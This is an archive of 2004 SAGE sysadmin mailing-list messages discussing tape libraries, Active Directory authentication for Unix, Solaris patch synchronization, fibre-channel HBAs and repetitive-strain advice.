storagetek, i have been unhappy with both their robotics (powderhorn) and drives (redwood). on the other hand, i have loved my qualstar and AIT-2 drives. we have written several hundred tapes (somewhere between 700 and 900), and have had 2 tape errors, both on writing. and yes, i DO check what i wrote (every byte on the tape is covered by an MD5 checksum). the changer (i have the 9TB 412180) has a quirk or two, but has been very solid and reliable. it is also quite ably supported by the mtx command. caution, the AIT-2 drives are somewhat slow at 6MB/s. for my current needs, we will be getting a SAIT changer 58132 (500GB per tape!). i hope this has helped, rather than confused. > From: Mike Noble > Subject: [SAGE] Tape Libraries > > I am looking at getting a new tape library. Currently looking at the > following: > > ADIC Scalar 24 > or > StorageTek L20 > > If any body is familiar with both units, I would be interested in what > you thing about both. > > If you are using either one, I would be interested in what your thoughts > (likes/dislikes) about > the unit you are using. > > Thanks, > Mike -- Andrew Hume (best -> Telework) +1 732-886-1886 andrew@research.att.com (Work) +1 973-360-8651 AT&T Labs - Research; member of USENIX and SAGE From sage-members-owner@usenix.org Wed Jan 28 08:49:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SGnYcH001237 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 08:49:34 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SGnYEu001236 for sage-members-outgoing; Wed, 28 Jan 2004 08:49:34 -0800 (PST) Received: from pickwick.garnix.org (pickwick.garnix.org [208.187.215.126]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SGnXcG001206 for ; Wed, 28 Jan 2004 08:49:33 -0800 (PST) Received: by pickwick.garnix.org (Postfix, from userid 8046) id C465317FD3; Wed, 28 Jan 2004 08:49:28 -0800 (PST) To: Philip Brown Cc: sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix References: <20040127115426.A25583@bolthole.com> From: Darrell Fuhriman Date: Wed, 28 Jan 2004 08:49:28 -0800 In-Reply-To: <20040127115426.A25583@bolthole.com> (Philip Brown's message of "Tue, 27 Jan 2004 11:54:26 -0800") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Honest Recruiter, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-sage-members@usenix.org Precedence: bulk Philip Brown writes: > You're better off just converting to using LDAP Which bring up an interesting question. How many of you have Windows and Unix authenticating off of a single directory and is that directory Active Directory? If so, what are some of the pitfalls you ran into and what works well and what doesn't? (Yes, I know Single Sign On is perpetual topic, but I think that's because it's desirable, yet frustratingly unobtainable.) Darrell From sage-members-owner@usenix.org Wed Jan 28 09:12:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHCCcH007981 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 09:12:12 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SHCCPP007980 for sage-members-outgoing; Wed, 28 Jan 2004 09:12:12 -0800 (PST) Received: from mdahub.mda.ca (mdahub.mda.ca [142.73.130.152]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHCAcG007956 for ; Wed, 28 Jan 2004 09:12:10 -0800 (PST) Received: from MSXYVR0.mda.ca (msxyvr0 [142.73.131.32]) by mdahub.mda.ca (8.11.4/8.11.4) with ESMTP id i0SHC8W02456 for ; Wed, 28 Jan 2004 09:12:08 -0800 (PST) Received: by msxyvr0.mda.ca with Internet Mail Service (5.5.2657.72) id ; Wed, 28 Jan 2004 09:12:08 -0800 Message-ID: <58C5D4E55163A048BB1D5A8C440F243CD7A947@msxyvr3.mda.ca> From: John LLOYD To: sage-members@usenix.org Subject: RE: [SAGE] Tape Libraries Date: Wed, 28 Jan 2004 09:12:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-sage-members@usenix.org Precedence: bulk LTO tape drives are much more reliable than DLT in our experience. But be aware that not all LTO drives are equal if you are using fibre channel. And one or two makes don't support variable speed writing; sorry don't remember which is what. This could be an issue if your data source speed is variable. If it can't keep up at 15MB/s the drive slides back to much much less. We've used Storagetek bigger libs (500 slots and up) and ADIC; we have seen no issues with either, other than the usual sourcing advice which is "buy your tape library from a tape library vendor, not a so-called major computer vendor". STK may turn out to be expensive but should provide excellent service; their mechanicals are the same/similar throughout their line. One other hint--if you plan to add or remove tapes often, like weekly, look into the ease of use of changing tapes and the mechanical sturdiness of the input-output mechanism. Some robots are not really suited to media switching. We have some Sun "L20"s (no relation) which have the cheap plastic doors and lack of mechanical guides. I cringe every time we swap tapes---daily, no less. This is for offsite backup copies; mgt won't spring for an outboard drive. --John > -----Original Message----- > From: Mike Noble [mailto:mnoble@rfmagic.com] > Sent: January 27, 2004 6:08 PM > To: sage-members@usenix.org > Subject: [SAGE] Tape Libraries > > > I am looking at getting a new tape library. Currently looking at the > following: > > ADIC Scalar 24 > or > StorageTek L20 > > If any body is familiar with both units, I would be > interested in what > you thing about both. > > If you are using either one, I would be interested in what > your thoughts > (likes/dislikes) about > the unit you are using. > > Thanks, > Mike > > > From sage-members-owner@usenix.org Wed Jan 28 09:56:46 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHujcH021284 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 09:56:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0SHujCj021280 for sage-members-outgoing; Wed, 28 Jan 2004 09:56:45 -0800 (PST) Received: from ace.DELOS.COM (ace.DELOS.COM [192.65.171.163]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0SHsFcH020487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 09:54:16 -0800 (PST) Received: from ace.DELOS.COM (localhost [127.0.0.1]) by ace.DELOS.COM (8.12.9/8.12.9) with ESMTP id i0SHs5mN090673 for ; Wed, 28 Jan 2004 10:54:05 -0700 (MST) (envelope-from kolstad@ace.DELOS.COM) Received: (from kolstad@localhost) by ace.DELOS.COM (8.12.9/8.12.9/Submit) id i0SHs5Vf090672 for sage-members@sage.org; Wed, 28 Jan 2004 10:54:05 -0700 (MST) Date: Wed, 28 Jan 2004 10:54:05 -0700 (MST) From: Rob Kolstad Message-Id: <200401281754.ai0SHs5Vf090672@ace.DELOS.COM> To: sage-members@sage.org Subject: [SAGE] No more duplicate entries Sender: owner-sage-members@usenix.org Precedence: bulk I have made the no-duplicate-entries fix for sage-members. Please report problems to me. RK ====================================================================== * /\ Rob Kolstad Executive Director, SAGE * /\ / \ kolstad@sage.org FAX: +1 719-481-6551 /\/ \/ \ +1 719-481-6542 15235 Roller Coaster Road / \ / \ http://www.sage.org Colorado Springs, CO 80921 ====================================================================== From sage-members-owner@usenix.org Wed Jan 28 17:56:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0T1u9cH018353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 17:56:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0T1u9mA018352 for sage-members-outgoing; Wed, 28 Jan 2004 17:56:09 -0800 (PST) Received: from fire.its.uiowa.edu (fire.its.uiowa.edu [128.255.69.58]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0T1pPcG018072 for ; Wed, 28 Jan 2004 17:51:25 -0800 (PST) Received: from fire.its.uiowa.edu (loopback [127.0.0.1]) by fire.its.uiowa.edu (8.12.10/8.12.9/base-aix-2.2) with ESMTP id i0T1pOIK056224 for ; Wed, 28 Jan 2004 19:51:24 -0600 Received: (from dbronder@localhost) by fire.its.uiowa.edu (8.12.10/8.12.9/its-submit-aix-1.0) id i0T1pOUU040778 for sage-members@sage.org; Wed, 28 Jan 2004 19:51:24 -0600 Message-Id: <200401290151.i0T1pOUU040778@fire.its.uiowa.edu> Subject: Re: [SAGE] Microsoft Windows Services for Unix To: sage-members@sage.org Date: Wed, 28 Jan 2004 19:51:24 -0600 (CST) In-Reply-To: from "Darrell Fuhriman" at Jan 28, 2004 08:49:28 AM From: David Bronder Organization: ITS-SPA, University of Iowa Reply-to: David Bronder X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Darrell Fuhriman wrote: > > Philip Brown writes: > > > You're better off just converting to using LDAP > > Which bring up an interesting question. How many of you have > Windows and Unix authenticating off of a single directory and is > that directory Active Directory? I'll take a stab at this one. We're doing this to some degree. Certainly not universal around campus, or even just the services central IT provides. But it's a start. We have something of a mish-mash of methods to tie our Unix logins and Unix-based services into Active Directory. In some cases, we're using basic Kerberos-based password authentication (which is to say we're not doing anything with TGTs or service tickets). These are generally handled with either PAM (PAM-enabled Linux services) or mod_auth_kerb (Apache -- see modauthkerb.sourceforge.net; we used mod_auth_pam for a while but it was being weird, though I don't recall how anymore). I believe we've retired all the custom code we'd used in the past for other Kerberos-based password authentication. The other main method we're using is to do an LDAP bind to an AD global catalog (GC) server using the user/password credentials provided. A successful bind equals a successful login. We use this method for some AIX logins (we plan to migrate all AIX to this as we do OS upgrades) and in web based applications that handle their own authentication internally rather than deferring to the web server. These are accomplished with custom code written by one or more folks in-house. > If so, what are some of the pitfalls you ran into and what works > well and what doesn't? The biggest complication we faced (and still face for some services) is that our Active Directory implementation is a forest with multiple domains. Some services are offered to folks from different domains, and in some cases, some users have accounts in multiple domains. So making the auth glue on the Unix side cope with that is a headache. There have also been issues with username length and name conflicts between domains. We've gone through several iterations of designing methods for forest-unique names and mapping valid Unix usernames to dissimilar AD principal names. We just don't address this problem in the Kerberos-based world. In the LDAP world, we're using an attribute that our enterprise-wide directory policies enforce to be unique across the forest and ensure that the mapping between the value and a valid Unix name is deterministic. I consider myself fortunate not to have been on the front lines of fighting to get as far as we are today. :) (On the other hand, all the storage services stuff I've been working on lately have provided me with my fair share of headaches, so it all evens out...) =Dave -- Hello World. David Bronder - Systems Admin Segmentation Fault ITS-SPA, Univ. of Iowa Core dumped, disk trashed, quota filled, soda warm. david-bronder@uiowa.edu From sage-members-owner@usenix.org Wed Jan 28 18:33:01 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0T2X0cH020787 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 18:33:01 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0T2X0RI020786 for sage-members-outgoing; Wed, 28 Jan 2004 18:33:00 -0800 (PST) Received: from bolthole.com (bolthole.com [192.220.72.215]) by usenix.org (8.12.10/8.12.10) with SMTP id i0T2WxcG020773 for ; Wed, 28 Jan 2004 18:32:59 -0800 (PST) Received: (qmail 8383 invoked by uid 18647); 29 Jan 2004 02:32:54 -0000 Date: Wed, 28 Jan 2004 18:32:54 -0800 From: Philip Brown To: SAGE Members Subject: Re: [SAGE] patch synchronizing Message-ID: <20040128183254.B3863@bolthole.com> Reply-To: Philip Brown Mail-Followup-To: SAGE Members References: <20040126142202.GH20083@tinkywinky.rtfs.de> <20040127202049.A1933@bolthole.com> <20040128123846.GL20083@tinkywinky.rtfs.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040128123846.GL20083@tinkywinky.rtfs.de>; from gabe@rtfs.de on Wed, Jan 28, 2004 at 01:38:47PM +0100 Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, Jan 28, 2004 at 01:38:47PM +0100, Gabriel Krabbe wrote: > On Tue, Jan 27, 2004 at 08:20:49PM -0800, Philip Brown wrote: > > > > speaking of patches... does anyone know of a script out there that can look > > at one solaris machine, then bring another machine up to the same level of > > patches? > > ... > > Apart from the technicalities, please explain why you would want to get > a machine up to some patch level 'at random'. If you have strict > internal patch testing before release, then you'll hopefully have some > defined set of procedures to roll out patches once they pass, and you'll > already have some sort of depot and system logbook. Because getting windows for patching, for 300 machines, can be tricky. So some machines will be updated before others. And yet other machines may miss round 1 of patching, because round 2 has started, so round 1 has been terminated. So machines at the "end" of the chain, will not have the exact same patching sequence, as machines at the beginning. "some day", i'd like to just reimage all the systems. But that would require actual full documentation on what each system does, so that I KNOW the newly imaged system will perform identically to what is running on it today. That day is not near. Guess I have some scripting to do. From sage-members-owner@usenix.org Wed Jan 28 21:52:19 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0T5qJcH001215 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 28 Jan 2004 21:52:19 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0T5qJGm001214 for sage-members-outgoing; Wed, 28 Jan 2004 21:52:19 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (yorktown.isdn.uiuc.edu [192.17.18.204]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0T5qGcG001194 for ; Wed, 28 Jan 2004 21:52:16 -0800 (PST) Received: from yorktown.isdn.uiuc.edu (localhost.localdomain [127.0.0.1]) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10) with ESMTP id i0T5r57q008542 for ; Wed, 28 Jan 2004 23:53:05 -0600 Received: (from roth@localhost) by yorktown.isdn.uiuc.edu (8.12.10/8.12.10/Submit) id i0T5r5Tj008541 for sage-members@usenix.org; Wed, 28 Jan 2004 23:53:05 -0600 Date: Wed, 28 Jan 2004 23:53:05 -0600 From: "Mark D. Roth" To: SAGE Members Subject: Re: [SAGE] patch synchronizing Message-ID: <20040129055305.GA8532@yorktown.isdn.uiuc.edu> References: <20040126142202.GH20083@tinkywinky.rtfs.de> <20040127202049.A1933@bolthole.com> <20040128123846.GL20083@tinkywinky.rtfs.de> <20040128183254.B3863@bolthole.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040128183254.B3863@bolthole.com> User-Agent: Mutt/1.4.1i Organization: Feep Networks Sender: owner-sage-members@usenix.org Precedence: bulk On Wed Jan 28 18:32 2004 -0800, Philip Brown wrote: > Because getting windows for patching, for 300 machines, can be tricky. > So some machines will be updated before others. And yet other machines > may miss round 1 of patching, because round 2 has started, so round 1 > has been terminated. > > So machines at the "end" of the chain, will not have the exact same > patching sequence, as machines at the beginning. We solved this problem as follows. We wrote a tool called autopatch that grabs and installs patches directly from an FTP server. It's available here: http://www-dev.cites.uiuc.edu/autopatch/ (Actually, it looks like the version that's available there isn't really the latest. I'll have to look into that tomorrow.) On our patch server, we have a script that downloads the latest Recommended and Security patches on the first of each month. The new patches get put into a directory indicating the date and time that they are downloaded. For example, this month's patches go into a directory called "01.01.04". When a new set of patches is successfully downloaded, a symlink called "current" is updated to point at the new directory. So basicly, it looks like this: drwxr-xr-x 4 sunpatch sunpatch 512 Jan 1 03:49 01.01.04/ drwxr-xr-x 4 sunpatch sunpatch 512 Nov 1 03:38 11.01.03/ drwxr-xr-x 4 sunpatch sunpatch 512 Dec 1 03:40 12.01.03/ lrwxrwxrwx 1 sunpatch sunpatch 8 Jan 1 03:49 current -> 01.01.04/ The result of all of this is that we can always install the latest set of patches by doing this: autopatch ftp://server/pub/patches/current/ Or, we can go back and install a specific month's patches by doing this: autopatch ftp://server/pub/patches/12.01.03/ In our case, we actually patch all of our systems during the course of a single month, so we rarely have any reason to go back to the previous month's patches. However, we do like to leave a few months' patch directories lying around, just so we have the history, in case we need it to reproduce something weird. Of course, a lot of this nonsense could be avoided if Sun had a decent patch mechanism to begin with. But I suppose it's too much to ask that any given patch applies to only a single OS package, just like every other vendor on the planet... ;/ -- Mark D. Roth http://www.feep.net/~roth/ From sage-members-owner@usenix.org Thu Jan 29 04:33:51 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TCXpcH007292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 04:33:51 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TCXp0M007291 for sage-members-outgoing; Thu, 29 Jan 2004 04:33:51 -0800 (PST) Received: from lust.cluon.net (lust.cluon.net [193.83.27.126]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TCXmcG007279 for ; Thu, 29 Jan 2004 04:33:49 -0800 (PST) Received: by lust.cluon.net (Postfix, from userid 1000) id 28112A044; Thu, 29 Jan 2004 13:33:42 +0100 (CET) Date: Thu, 29 Jan 2004 13:33:42 +0100 To: sage-members@sage.org Subject: Re: [SAGE] Experience with Emulex HBA software Message-ID: <20040129123342.GA18976@lust.cluon.net> References: <26094228@newcupid.Dartmouth.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organisation: Cluon Research Center User-Agent: Mutt/1.5.4i From: mike@cluon.priv.at (Thomas 'Mike' Michlmayr) Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 23, 2004 at 20:16:24 -0500, Adam and Christine Levin wrote: [...] > Does Sun's product care what disk is at the other end? not as far as we could tell in our experiments. it does care about the HBA though, and only works with sun-branded qlogic cards AFAICT. -- Thomas 'Mike' Michlmayr | ignorami: n: The BOFH art of folding problem | lusers into representational shapes. From sage-members-owner@usenix.org Thu Jan 29 07:04:23 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TF4NcH016832 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 07:04:23 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TF4Nig016831 for sage-members-outgoing; Thu, 29 Jan 2004 07:04:23 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TF4LcG016817 for ; Thu, 29 Jan 2004 07:04:21 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0TF4Hf1029287 for ; Thu, 29 Jan 2004 10:04:17 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0TF4Hi6029273 for ; Thu, 29 Jan 2004 10:04:17 -0500 (EST) Date: Thu, 29 Jan 2004 10:04:17 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: <20040129123342.GA18976@lust.cluon.net> Message-ID: References: <26094228@newcupid.Dartmouth.EDU> <20040129123342.GA18976@lust.cluon.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, 29 Jan 2004, Thomas 'Mike' Michlmayr wrote: > On Fri, Jan 23, 2004 at 20:16:24 -0500, > Adam and Christine Levin wrote: > [...] > > Does Sun's product care what disk is at the other end? > > not as far as we could tell in our experiments. it does care about the > HBA though, and only works with sun-branded qlogic cards AFAICT. I've been in contact with some Sun guys through our reseller, and they're claiming that while Emulex are not support by traffic manager, any qlogic cards *should be* (he's 90% sure it'll work). The problem I'm running into is that the Brocade switches are 2Gb, the NetApp is using 2Gb Emulex cards, and I have an E4500 with SBus IO boards. We can't afford the upgrade to PCI IO boards, and Sun doesn't make a 2Gb SBus card. They have a dual-port 1Gb card. QLogic apparently has dual-port 2Gb cards (I don't really care about dual-port, though it'd be convenient -- I do want the higher throughput, though). So, we're going to try a loaner QLogic once we get the SAN fabric in place, and if the traffic manager software works (it's free, by the way), then great. If not, then Veritas here we come... Thanks, everyone, for the information. -Adam From sage-members-owner@usenix.org Thu Jan 29 07:42:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TFgYcH019768 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 07:42:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TFgYqB019767 for sage-members-outgoing; Thu, 29 Jan 2004 07:42:34 -0800 (PST) Received: from exgw2.lumeta.com (exgw2.lumeta.com [65.198.68.66]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TFgWcG019757 for ; Thu, 29 Jan 2004 07:42:32 -0800 (PST) Received: from ingw2.lumeta.com (h65-246-245-2.lumeta.com [65.246.245.2]) by exgw2.lumeta.com (Postfix) with ESMTP id 954175F90BD for ; Thu, 29 Jan 2004 10:36:59 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by ingw2.lumeta.com (Postfix) with ESMTP id D3A2051960 for ; Thu, 29 Jan 2004 10:42:31 -0500 (EST) Received: from ingw2.lumeta.com ([127.0.0.1]) by localhost (ingw2.lumeta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 95526-02 for ; Thu, 29 Jan 2004 10:41:59 -0500 (EST) Received: from lucy.corp.lumeta.com (lucy.corp.lumeta.com [65.246.245.10]) by ingw2.lumeta.com (Postfix) with ESMTP id 0060C51968 for ; Thu, 29 Jan 2004 10:41:59 -0500 (EST) Received: from lulu.corp.lumeta.com (lulu.corp.lumeta.com [65.246.245.9]) by lucy.corp.lumeta.com (Postfix) with ESMTP id DA2F2A8A62 for ; Thu, 29 Jan 2004 10:41:58 -0500 (EST) Received: from gsieb2.corp.lumeta.com by lulu.corp.lumeta.com with ESMTP id 2496031075390822; Thu, 29 Jan 2004 10:40:22 -0500 From: "Glenn E. Sieb" To: sage-members@usenix.org Subject: [SAGE] Thanks (was Suggestions for Dvorak) Date: Thu, 29 Jan 2004 10:40:22 -0500 Organization: Lumeta Corporation X-Sent-Folder-Path: Sent Items X-Mailer: Oracle Connector for Outlook 9.0.4 51015 (10.0.4712) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <20040129154158.DA2F2A8A62@lucy.corp.lumeta.com> X-Virus-Scanned: by amavisd-new at lumeta.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i0TFgXcG019758 Sender: owner-sage-members@usenix.org Precedence: bulk I'm talking to my health insurance about finding an occupational therapist in my area--so far it looks like there's just one, but we're hunting to see if there is a choice available. :) Thanks again for all the great advice and stories! It helps! :) Glenn -- Glenn E. Sieb System Administrator Lumeta Corporation +1 732 357-3514 (V) +1 732 564-0731 (Fax) From sage-members-owner@usenix.org Thu Jan 29 08:23:04 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TGN3cH022823 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 08:23:04 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TGN3FW022822 for sage-members-outgoing; Thu, 29 Jan 2004 08:23:03 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TGN0cG022812 for ; Thu, 29 Jan 2004 08:23:01 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0TGMvkr022351 for ; Thu, 29 Jan 2004 10:22:57 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id KAA05831 for ; Thu, 29 Jan 2004 10:22:55 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Thu, 29 Jan 2004 10:22:55 -0600 (CST) From: Doug Hughes To: SAGE Members Subject: Re: [SAGE] patch synchronizing In-Reply-To: <20040129055305.GA8532@yorktown.isdn.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-26.5 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, REPLY_WITH_QUOTES,USER_AGENT_PINE,X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Wed, 28 Jan 2004, Mark D. Roth wrote: > On Wed Jan 28 18:32 2004 -0800, Philip Brown wrote: > > Because getting windows for patching, for 300 machines, can be tricky. > > So some machines will be updated before others. And yet other machines > > may miss round 1 of patching, because round 2 has started, so round 1 > > has been terminated. > > > > So machines at the "end" of the chain, will not have the exact same > > patching sequence, as machines at the beginning. > > We solved this problem as follows. > > We wrote a tool called autopatch that grabs and installs patches > directly from an FTP server. It's available here: > > http://www-dev.cites.uiuc.edu/autopatch/ > > (Actually, it looks like the version that's available there isn't > really the latest. I'll have to look into that tomorrow.) > > On our patch server, we have a script that downloads the latest > Recommended and Security patches on the first of each month. The new > patches get put into a directory indicating the date and time that > they are downloaded. For example, this month's patches go into a > directory called "01.01.04". When a new set of patches is > successfully downloaded, a symlink called "current" is updated to > point at the new directory. So basicly, it looks like this: > > drwxr-xr-x 4 sunpatch sunpatch 512 Jan 1 03:49 01.01.04/ > drwxr-xr-x 4 sunpatch sunpatch 512 Nov 1 03:38 11.01.03/ > drwxr-xr-x 4 sunpatch sunpatch 512 Dec 1 03:40 12.01.03/ > lrwxrwxrwx 1 sunpatch sunpatch 8 Jan 1 03:49 current -> 01.01.04/ > > The result of all of this is that we can always install the latest set > of patches by doing this: > > autopatch ftp://server/pub/patches/current/ > > Or, we can go back and install a specific month's patches by doing > this: > > autopatch ftp://server/pub/patches/12.01.03/ > > In our case, we actually patch all of our systems during the course of > a single month, so we rarely have any reason to go back to the > previous month's patches. However, we do like to leave a few months' > patch directories lying around, just so we have the history, in case > we need it to reproduce something weird. > > Of course, a lot of this nonsense could be avoided if Sun had a decent > patch mechanism to begin with. But I suppose it's too much to ask > that any given patch applies to only a single OS package, just like > every other vendor on the planet... ;/ > I guess while people are chiming in, I'll throw in our solution: we use anonymous rsync for a patch repository. Like Mark, we automatically download patches from Sun, but we do it nightly. There are subdirs for each OS release which consist of symlinks for the latest recommended patch set as set forth by sun. We have a program that can make a 'snapshot', which takes the current subdir of symlinks and clones it and stores it with the os release and the date. Those can be used to patch the machine to that 'release set' of patches. So, if we want to make all machines at a defined patch level, we make a snapshot, and then use that snapshot ( a bunch of symlinks) to rsync the patches to the client (initiated from the client). The client patch program understands how to fetch the snapshots, and applies patch ordering (using tsort with dependencies included in the pkginfo), and then applies the patches. From sage-members-owner@usenix.org Thu Jan 29 15:07:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TN7QcH015616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 29 Jan 2004 15:07:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0TN7PKD015615 for sage-members-outgoing; Thu, 29 Jan 2004 15:07:26 -0800 (PST) Received: from gwyn.tux.org (ident-user@gwyn.tux.org [199.184.165.135]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0TN7DcG015584 for ; Thu, 29 Jan 2004 15:07:14 -0800 (PST) Received: (from jsdy@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i0TN7CU05163; Thu, 29 Jan 2004 18:07:12 -0500 Date: Thu, 29 Jan 2004 18:07:12 -0500 From: Joseph S D Yao To: "David N. Blank-Edelman" Cc: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) Message-ID: <20040129180712.G32079@gwyn.tux.org> Mail-Followup-To: "David N. Blank-Edelman" , sage-members@usenix.org References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> <20040123042735.GF23747@zubeneschamali.ccs.neu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20040123042735.GF23747@zubeneschamali.ccs.neu.edu>; from dnb@ccs.neu.edu on Thu, Jan 22, 2004 at 11:27:36PM -0500 X-Accepted-File-Formats: ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Thu, Jan 22, 2004 at 11:27:36PM -0500, David N. Blank-Edelman wrote: ... > 1) At the point when it was at the worst for me about 10 > years ago, I came to the conclusion that the "S for Syndrome" part in > the name was a euphemism in the Western medical community for "We have > no idea." We have no idea why you got this pain, why others don't, and > just what to do to help you. All we know is what helps some people some > of the time, so here: try all of these things, maybe one of them will > work. You won't really know what helped because you'll be doing > everything at once, but hey, you'll feel better. Eventually you'll > figure out what it was because you'll stop doing the other stuff > on your own (prescription by attrition). ... This is almost exactly the medical definition of "syndrome". Why does this make you bitter? Because you had a doctor who did not explain this to you? Medicine is more of an art than a science! Don't let all the self-proud MD's tell you otherwise! -- 